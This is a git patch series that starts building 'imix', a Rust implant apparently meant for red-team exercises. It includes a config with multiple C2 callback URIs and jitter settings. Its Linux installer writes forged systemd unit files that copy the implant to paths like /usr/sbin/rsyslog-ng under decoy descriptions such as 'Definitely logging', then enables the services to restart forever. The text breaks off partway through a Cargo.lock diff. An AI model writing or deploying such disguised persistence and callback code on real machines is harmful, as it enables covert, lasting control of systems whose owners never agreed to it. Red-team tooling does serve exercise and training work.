From 8ea3fae164963498aa2bf54d9c51db6c7774ed59 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Tue, 15 Feb 2022 06:07:28 +0000 Subject: [PATCH 01/56] started imix bot --- .gitignore | 11 ---- cmd/imix/.gitignore | 6 ++ cmd/imix/Cargo.lock | 146 +++++++++++++++++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 9 +++ cmd/imix/src/main.rs | 15 +++++ 5 files changed, 176 insertions(+), 11 deletions(-) create mode 100644 cmd/imix/.gitignore create mode 100644 cmd/imix/Cargo.lock create mode 100644 cmd/imix/Cargo.toml create mode 100644 cmd/imix/src/main.rs diff --git a/.gitignore b/.gitignore index f0ad74f7b..7276daffa 100644 --- a/.gitignore +++ b/.gitignore @@ -1,14 +1,3 @@ -# Generated by Cargo -# will have compiled files and executables -/target/ - -# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries -# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html -Cargo.lock - -# These are backup files generated by rustfmt -**/*.rs.bk - # DS_Store for MacOS Finder **.DS_Store diff --git a/cmd/imix/.gitignore b/cmd/imix/.gitignore new file mode 100644 index 000000000..384e62980 --- /dev/null +++ b/cmd/imix/.gitignore @@ -0,0 +1,6 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk \ No newline at end of file diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock new file mode 100644 index 000000000..a9dc07617 --- /dev/null +++ b/cmd/imix/Cargo.lock @@ -0,0 +1,146 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "clap" +version = "3.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b63edc3f163b3c71ec8aa23f9bd6070f77edbf3d1d198b164afa90ff00e4ec62" +dependencies = [ + "atty", + "bitflags", + "indexmap", + "os_str_bytes", + "strsim", + "termcolor", + "textwrap", +] + +[[package]] +name = "hashbrown" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "imix" +version = "0.1.0" +dependencies = [ + "clap", +] + +[[package]] +name = "indexmap" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "libc" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" + +[[package]] +name = "memchr" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" + +[[package]] +name = "os_str_bytes" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e22443d1643a904602595ba1cd8f7d896afe56d26712531c5ff73a15b2fbf64" +dependencies = [ + "memchr", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "termcolor" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml new file mode 100644 index 000000000..efc14c3fd --- /dev/null +++ b/cmd/imix/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "imix" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +clap = { version = "3.0" } \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs new file mode 100644 index 000000000..3d25fc3a7 --- /dev/null +++ b/cmd/imix/src/main.rs @@ -0,0 +1,15 @@ +use clap::{App}; + +fn main() { + let matches = App::new("imix") + .subcommand( + App::new("install") + .about("Run in install mode") + ) + .get_matches(); + + match matches.subcommand() { + Some(("install", _)) => println!("Installing..."), + _ => println!("Running..."), + } +} From 674a7cd323a49a5503b99fa26b6a6d922f71adb1 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 16 Feb 2022 03:09:03 +0000 Subject: [PATCH 02/56] added basic reading of config file and a bit of a touch up around args --- cmd/imix/Cargo.lock | 80 ++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 4 +- cmd/imix/contrib/example_config.json | 47 ++++++++++++++++ cmd/imix/src/main.rs | 60 +++++++++++++++++++-- 4 files changed, 186 insertions(+), 5 deletions(-) create mode 100644 cmd/imix/contrib/example_config.json diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a9dc07617..a932c106a 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -60,6 +60,8 @@ name = "imix" version = "0.1.0" dependencies = [ "clap", + "serde", + "serde_json", ] [[package]] @@ -72,6 +74,12 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "itoa" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" + [[package]] name = "libc" version = "0.2.117" @@ -93,12 +101,78 @@ dependencies = [ "memchr", ] +[[package]] +name = "proc-macro2" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" +dependencies = [ + "unicode-xid", +] + +[[package]] +name = "quote" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "ryu" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f" + +[[package]] +name = "serde" +version = "1.0.136" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.136" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08597e7152fcd306f41838ed3e37be9eaeed2b61c42e2117266a554fab4662f9" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e8d9fa5c3b304765ce1fd9c4c8a3de2c8db365a5b91be52f186efc675681d95" +dependencies = [ + "itoa", + "ryu", + "serde", +] + [[package]] name = "strsim" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" +[[package]] +name = "syn" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + [[package]] name = "termcolor" version = "1.1.2" @@ -114,6 +188,12 @@ version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" +[[package]] +name = "unicode-xid" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" + [[package]] name = "winapi" version = "0.3.9" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index efc14c3fd..cb307d15e 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -6,4 +6,6 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] -clap = { version = "3.0" } \ No newline at end of file +clap = { version = "3.0" } +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" \ No newline at end of file diff --git a/cmd/imix/contrib/example_config.json b/cmd/imix/contrib/example_config.json new file mode 100644 index 000000000..e42c37ffd --- /dev/null +++ b/cmd/imix/contrib/example_config.json @@ -0,0 +1,47 @@ +{ + "target_name":"Team 1 - Web", + "callback_interval":60000, + "callback_jitter":5000, + "c2_configs":[ + { + "uri":"http://c2.prn0.realm.pub", + "timeout":5, + "priority":10, + "sticky":false, + "failsafe":false + }, + { + "uri":"http://c2.frc0.realm.pub", + "timeout":5, + "priority":10, + "sticky":false, + "failsafe":false + }, + { + "uri":"http://sketchy.realm.pub", + "timeout":5, + "priority":5, + "sticky":true, + "failsafe":false + }, + { + "uri":"http://secret.realm.pub.com", + "timeout":5, + "priority":5, + "sticky":false, + "failsafe":true + } + ], + "service_configs":[ + { + "name":"rsyslog-ng", + "description":"Definitely logging", + "executable_path":"/usr/sbin/rsyslog-ng" + }, + { + "name":"thermald", + "description":"careful things don't overheat", + "executable_path":"/bin/thermald" + } + ] +} \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index 3d25fc3a7..ceb788c15 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,15 +1,67 @@ -use clap::{App}; +use clap::{App, arg}; +use serde::{Serialize, Deserialize}; +use std::fs::File; -fn main() { +#[derive(Serialize, Deserialize, Debug)] +struct C2Config { + uri: String, + timeout: u32, + priority: u8, + sticky: bool, + failsafe: bool +} + +#[derive(Serialize, Deserialize, Debug)] +struct ServiceConfig { + name: String, + description: String, + executable_path: String +} + +#[derive(Serialize, Deserialize, Debug)] +struct Config { + target_name: String, + callback_interval: u32, + callback_jitter: u32, + c2_configs: Vec, + service_configs: Vec, +} + + +fn install(file_path: String) -> std::io::Result<()> { + println!("Installing with {} config...", file_path); + let config_file = File::open(file_path)?; + let config: Config = serde_json::from_reader(config_file)?; + println!("Loaded this: {:?}", config); + + Ok(()) +} + +fn run() -> std::io::Result<()> { + println!("Running..."); + + Ok(()) +} + +fn main() -> std::io::Result<()> { let matches = App::new("imix") .subcommand( App::new("install") .about("Run in install mode") + .arg( + arg!( + -c --config "Sets a custom config file" + ) + .required(true) + ) ) .get_matches(); match matches.subcommand() { - Some(("install", _)) => println!("Installing..."), - _ => println!("Running..."), + Some(("install", args)) => { + let file_path_str = args.value_of("config").unwrap(); + install(String::from(file_path_str)) + }, + _ => run(), } } From 7fa9be8b5ec207d9bf93edc6a8883523d8d841fe Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 16 Feb 2022 04:39:34 +0000 Subject: [PATCH 03/56] wrote the linux install and re-orged some of the namespacing --- cmd/imix/src/lib.rs | 29 ++++++++++++++++++++ cmd/imix/src/linux.rs | 59 +++++++++++++++++++++++++++++++++++++++++ cmd/imix/src/main.rs | 42 +++++++++-------------------- cmd/imix/src/windows.rs | 4 +++ 4 files changed, 105 insertions(+), 29 deletions(-) create mode 100644 cmd/imix/src/lib.rs create mode 100644 cmd/imix/src/linux.rs create mode 100644 cmd/imix/src/windows.rs diff --git a/cmd/imix/src/lib.rs b/cmd/imix/src/lib.rs new file mode 100644 index 000000000..316a14e4b --- /dev/null +++ b/cmd/imix/src/lib.rs @@ -0,0 +1,29 @@ +use serde::{Serialize, Deserialize}; + +#[derive(Serialize, Deserialize)] +pub struct C2Config { + uri: String, + timeout: u32, + priority: u8, + sticky: bool, + failsafe: bool +} + +#[derive(Serialize, Deserialize)] +pub struct ServiceConfig { + name: String, + description: String, + executable_path: String +} + +#[derive(Serialize, Deserialize)] +pub struct Config { + target_name: String, + callback_interval: u32, + callback_jitter: u32, + c2_configs: Vec, + service_configs: Vec, +} + +pub mod windows; +pub mod linux; \ No newline at end of file diff --git a/cmd/imix/src/linux.rs b/cmd/imix/src/linux.rs new file mode 100644 index 000000000..e41b24897 --- /dev/null +++ b/cmd/imix/src/linux.rs @@ -0,0 +1,59 @@ +use std::fs; +use std::process::Command; + +pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; + +pub fn install(config: super::Config)-> std::io::Result<()> { + // go through each service config consuming the structs + for service_config in config.service_configs.into_iter() { + let service_name = service_config.name; + let service_description = service_config.description; + let service_executable_path = service_config.executable_path; + let service_file_content = format!( + "# This file is part of systemd. +# +# systemd is free software; you can redistribute it and/or modify it +# under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation; either version 2.1 of the License, or +# (at your option) any later version. + +[Unit] +Description={service_description} +Documentation=man:systemd(8) +Documentation=http://www.freedesktop.org/wiki/Software/systemd/ +Documentation=http://www.freedesktop.org/wiki/Software/systemd/ + +# Ask for the {service_name} socket. +# Wants={service_name}.socket +# After={service_name}.socket + +[Service] +ExecStart={service_executable_path} +Restart=always +RestartSec=120 +StartLimitBurst=0 + +[Install] +WantedBy=multi-user.target +", + ); + + // build the path for the service and write the service file + let mut service_file_path = String::new(); + service_file_path.push_str(SYSTEMD_DIR); + service_file_path.push_str(&service_name); + service_file_path.push_str(".service"); + fs::write(service_file_path, service_file_content)?; + + // copy the currently running binary to the exec path (yes order is right) + let curr_exec_path = std::env::args().nth(0).unwrap(); + fs::copy(curr_exec_path, service_executable_path)?; + + // daemon reload/enable service/start service + Command::new("systemctl").arg("daemon-reload").output()?; + Command::new("systemctl").arg("restart").arg(&service_name).output()?; + Command::new("systemctl").arg("enable").arg(&service_name).output()?; + Command::new("systemctl").arg("start").arg(&service_name).output()?; + } + Ok(()) +} \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index ceb788c15..dc6cd9d00 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,40 +1,24 @@ +extern crate imix; + use clap::{App, arg}; -use serde::{Serialize, Deserialize}; use std::fs::File; - -#[derive(Serialize, Deserialize, Debug)] -struct C2Config { - uri: String, - timeout: u32, - priority: u8, - sticky: bool, - failsafe: bool -} - -#[derive(Serialize, Deserialize, Debug)] -struct ServiceConfig { - name: String, - description: String, - executable_path: String -} - -#[derive(Serialize, Deserialize, Debug)] -struct Config { - target_name: String, - callback_interval: u32, - callback_jitter: u32, - c2_configs: Vec, - service_configs: Vec, -} +use std::path::Path; fn install(file_path: String) -> std::io::Result<()> { println!("Installing with {} config...", file_path); let config_file = File::open(file_path)?; - let config: Config = serde_json::from_reader(config_file)?; - println!("Loaded this: {:?}", config); + let config: imix::Config = serde_json::from_reader(config_file)?; - Ok(()) + if cfg!(windows) { + return imix::windows::install(config); + } + + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::install(config); + } + + unimplemented!("The current OS/Service Manager is not supported") } fn run() -> std::io::Result<()> { diff --git a/cmd/imix/src/windows.rs b/cmd/imix/src/windows.rs new file mode 100644 index 000000000..d87847625 --- /dev/null +++ b/cmd/imix/src/windows.rs @@ -0,0 +1,4 @@ + +pub fn install(_config: super::Config)-> std::io::Result<()> { + unimplemented!("Windows is currently not supported") +} \ No newline at end of file From 7100a29c1cbec9cedb64b3bdcc932bd8624bcad5 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 17 Feb 2022 05:47:00 +0000 Subject: [PATCH 04/56] added a ton fo logic for the initial call back, also errors! --- cmd/imix/Cargo.lock | 704 ++++++++++++++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 8 +- cmd/imix/src/graphql.rs | 62 ++++ cmd/imix/src/lib.rs | 60 +++- cmd/imix/src/linux.rs | 45 ++- cmd/imix/src/main.rs | 55 +++- cmd/imix/src/windows.rs | 6 +- 7 files changed, 910 insertions(+), 30 deletions(-) create mode 100644 cmd/imix/src/graphql.rs diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a932c106a..a4c245770 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -25,6 +25,24 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" +[[package]] +name = "bytes" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" + +[[package]] +name = "cc" +version = "1.0.73" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + [[package]] name = "clap" version = "3.0.14" @@ -40,6 +58,121 @@ dependencies = [ "textwrap", ] +[[package]] +name = "core-foundation" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" + +[[package]] +name = "fastrand" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf" +dependencies = [ + "instant", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "futures-channel" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3" + +[[package]] +name = "futures-sink" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868" + +[[package]] +name = "futures-task" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a" + +[[package]] +name = "futures-util" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "pin-utils", +] + +[[package]] +name = "getrandom" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "418d37c8b1d42553c93648be529cb70f920d3baf8ef469b74b9638df426e0b4c" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "h2" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9f1f717ddc7b2ba36df7e871fd88db79326551d3d6f1fc406fbfd28b582ff8e" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + [[package]] name = "hashbrown" version = "0.11.2" @@ -55,13 +188,102 @@ dependencies = [ "libc", ] +[[package]] +name = "http" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31f4c6746584866f0feabcc69893c5b51beef3831656a968ed7ae254cdc4fd03" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ff4f84919677303da5f147645dbea6b1881f368d03ac84e1dc09031ebd7b2c6" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9100414882e15fb7feccb4897e5f0ff0ff1ca7d1a86a23208ada4d7a18e6c6c4" + +[[package]] +name = "httpdate" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" + +[[package]] +name = "hyper" +version = "0.14.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "043f0e083e9901b6cc658a77d1eb86f4fc650bbb977a4337dd63192826aa85dd" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + [[package]] name = "imix" version = "0.1.0" dependencies = [ "clap", + "hyper", + "hyper-timeout", + "hyper-tls", + "openssl", + "rand", "serde", "serde_json", + "tokio", ] [[package]] @@ -74,24 +296,165 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + [[package]] name = "itoa" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + [[package]] name = "libc" version = "0.2.117" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" +[[package]] +name = "lock_api" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88943dd7ef4a2e5a4bfa2753aaab3013e34ce2533d1996fb18ef591e315e2b3b" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" +dependencies = [ + "cfg-if", +] + [[package]] name = "memchr" version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" +[[package]] +name = "mio" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba272f85fa0b41fc91872be579b3bbe0f56b792aa361a380eb669469f68dafb2" +dependencies = [ + "libc", + "log", + "miow", + "ntapi", + "winapi", +] + +[[package]] +name = "miow" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" +dependencies = [ + "winapi", +] + +[[package]] +name = "native-tls" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48ba9f7719b5a0f42f338907614285fb5fd70e53858141f69898a1fb7203b24d" +dependencies = [ + "lazy_static", + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "ntapi" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f" +dependencies = [ + "winapi", +] + +[[package]] +name = "num_cpus" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "once_cell" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da32515d9f6e6e489d7bc9d84c71b060db7247dc035bbe44eac88cf87486d8d5" + +[[package]] +name = "openssl" +version = "0.10.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c7ae222234c30df141154f159066c5093ff73b63204dcda7121eb082fc56a95" +dependencies = [ + "bitflags", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-sys", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" +version = "111.17.0+1.1.1m" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d6a336abd10814198f66e2a91ccd7336611f30334119ca8ce300536666fcf4" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e46109c383602735fa0a2e48dd2b7c892b048e1bf69e5c3b1d804b7d9c203cb" +dependencies = [ + "autocfg", + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + [[package]] name = "os_str_bytes" version = "6.0.0" @@ -101,6 +464,53 @@ dependencies = [ "memchr", ] +[[package]] +name = "parking_lot" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f5ec2493a61ac0506c0f4199f99070cbe83857b0337006a30f3e6719b8ef58" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28141e0cc4143da2443301914478dc976a61ffdb3f043058310c70df2fed8954" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-sys", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e280fbe77cc62c91527259e9442153f4688736748d24660126286329742b4c6c" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 